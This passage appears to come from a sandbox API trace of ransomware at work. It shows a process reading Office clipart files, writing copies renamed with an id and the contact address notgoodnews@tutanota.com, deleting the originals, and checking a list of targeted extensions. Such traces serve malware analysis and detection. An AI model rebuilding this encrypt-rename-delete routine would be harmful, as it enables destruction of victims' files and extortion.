lpNumberOfBytesRead=0x339fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0093.440] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0093.441] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.441] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.441] SetEndOfFile (hFile=0x39c) returned 1 [0093.442] CloseHandle (hObject=0x39c) returned 1 [0093.442] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.442] SetEndOfFile (hFile=0x330) returned 1 [0093.444] CloseHandle (hObject=0x330) returned 1 [0093.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString=".doc") returned 4 [0093.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString=".docx") returned 5 [0093.445] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.445] lstrlenW (lpString=".pdf") returned 4 [0093.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString=".xls") returned 4 [0093.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.445] lstrlenW (lpString=".xlsx") returned 5 [0093.445] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.445] lstrlenW (lpString=".ppt") returned 4 [0093.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString=".zip") returned 4 [0093.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.445] lstrlenW (lpString=".rar") returned 4 [0093.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString=".bz2") returned 4 [0093.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString=".7z") returned 3 [0093.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString=".dbf") returned 4 [0093.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString=".1cd") returned 4 [0093.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.445] lstrlenW (lpString=".jpg") returned 4 [0093.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString=".doc") returned 4 [0093.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString=".docx") returned 5 [0093.446] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.446] lstrlenW (lpString=".pdf") returned 4 [0093.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString=".xls") returned 4 [0093.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.446] lstrlenW (lpString=".xlsx") returned 5 [0093.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.446] lstrlenW (lpString=".ppt") returned 4 [0093.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString=".zip") returned 4 [0093.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.446] lstrlenW (lpString=".rar") returned 4 [0093.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString=".bz2") returned 4 [0093.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString=".7z") returned 3 [0093.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString=".dbf") returned 4 [0093.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString=".1cd") returned 4 [0093.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0093.446] lstrlenW (lpString=".jpg") returned 4 [0093.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.447] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.447] lstrlenW (lpString="J0103812.WMF") returned 12 [0093.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.447] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5908) returned 1 [0093.447] CloseHandle (hObject=0x330) returned 1 [0093.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0093.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.447] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.447] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.448] GetLastError () returned 0x0 [0093.448] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1714, lpOverlapped=0x0) returned 1 [0093.449] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1720, lpOverlapped=0x0) returned 1 [0093.452] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.452] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.452] SetEndOfFile (hFile=0x39c) returned 1 [0093.452] CloseHandle (hObject=0x39c) returned 1 [0093.452] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.452] SetEndOfFile (hFile=0x330) returned 1 [0093.453] CloseHandle (hObject=0x330) returned 1 [0093.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".doc") returned 4 [0093.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString=".docx") returned 5 [0093.454] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.454] lstrlenW (lpString=".pdf") returned 4 [0093.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString=".xls") returned 4 [0093.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.454] lstrlenW (lpString=".xlsx") returned 5 [0093.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.454] lstrlenW (lpString=".ppt") returned 4 [0093.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".zip") returned 4 [0093.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.454] lstrlenW (lpString=".rar") returned 4 [0093.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString=".bz2") returned 4 [0093.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString=".7z") returned 3 [0093.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".dbf") returned 4 [0093.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".1cd") returned 4 [0093.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".jpg") returned 4 [0093.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.454] lstrlenW (lpString=".doc") returned 4 [0093.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString=".docx") returned 5 [0093.455] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.455] lstrlenW (lpString=".pdf") returned 4 [0093.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString=".xls") returned 4 [0093.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.455] lstrlenW (lpString=".xlsx") returned 5 [0093.455] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.455] lstrlenW (lpString=".ppt") returned 4 [0093.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.455] lstrlenW (lpString=".zip") returned 4 [0093.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.455] lstrlenW (lpString=".rar") returned 4 [0093.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString=".bz2") returned 4 [0093.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString=".7z") returned 3 [0093.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.455] lstrlenW (lpString=".dbf") returned 4 [0093.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.455] lstrlenW (lpString=".1cd") returned 4 [0093.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0093.455] lstrlenW (lpString=".jpg") returned 4 [0093.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.455] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.455] lstrlenW (lpString="J0103850.WMF") returned 12 [0093.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.718] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=23596) returned 1 [0093.718] CloseHandle (hObject=0x354) returned 1 [0093.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0093.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.718] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.718] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.720] GetLastError () returned 0x0 [0093.720] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0093.722] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0093.723] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.724] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.724] SetEndOfFile (hFile=0x398) returned 1 [0093.724] CloseHandle (hObject=0x398) returned 1 [0093.724] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.724] SetEndOfFile (hFile=0x354) returned 1 [0093.725] CloseHandle (hObject=0x354) returned 1 [0093.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0093.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.725] lstrlenW (lpString=".doc") returned 4 [0093.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.725] lstrlenW (lpString=".docx") returned 5 [0093.725] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.725] lstrlenW (lpString=".pdf") returned 4 [0093.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString=".xls") returned 4 [0093.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.726] lstrlenW (lpString=".xlsx") returned 5 [0093.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.726] lstrlenW (lpString=".ppt") returned 4 [0093.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString=".zip") returned 4 [0093.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.726] lstrlenW (lpString=".rar") returned 4 [0093.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString=".bz2") returned 4 [0093.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString=".7z") returned 3 [0093.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString=".dbf") returned 4 [0093.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString=".1cd") returned 4 [0093.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString=".jpg") returned 4 [0093.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.726] lstrlenW (lpString=".doc") returned 4 [0093.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString=".docx") returned 5 [0093.726] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.726] lstrlenW (lpString=".pdf") returned 4 [0093.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.726] lstrlenW (lpString=".xls") returned 4 [0093.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.726] lstrlenW (lpString=".xlsx") returned 5 [0093.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.726] lstrlenW (lpString=".ppt") returned 4 [0093.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.727] lstrlenW (lpString=".zip") returned 4 [0093.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.727] lstrlenW (lpString=".rar") returned 4 [0093.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.727] lstrlenW (lpString=".bz2") returned 4 [0093.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.727] lstrlenW (lpString=".7z") returned 3 [0093.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.727] lstrlenW (lpString=".dbf") returned 4 [0093.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.727] lstrlenW (lpString=".1cd") returned 4 [0093.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0093.727] lstrlenW (lpString=".jpg") returned 4 [0093.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.727] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.727] lstrlenW (lpString="J0105282.WMF") returned 12 [0093.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.728] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4796) returned 1 [0093.728] CloseHandle (hObject=0x354) returned 1 [0093.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0093.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.728] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.728] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.728] GetLastError () returned 0x0 [0093.728] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0093.738] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0093.739] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: 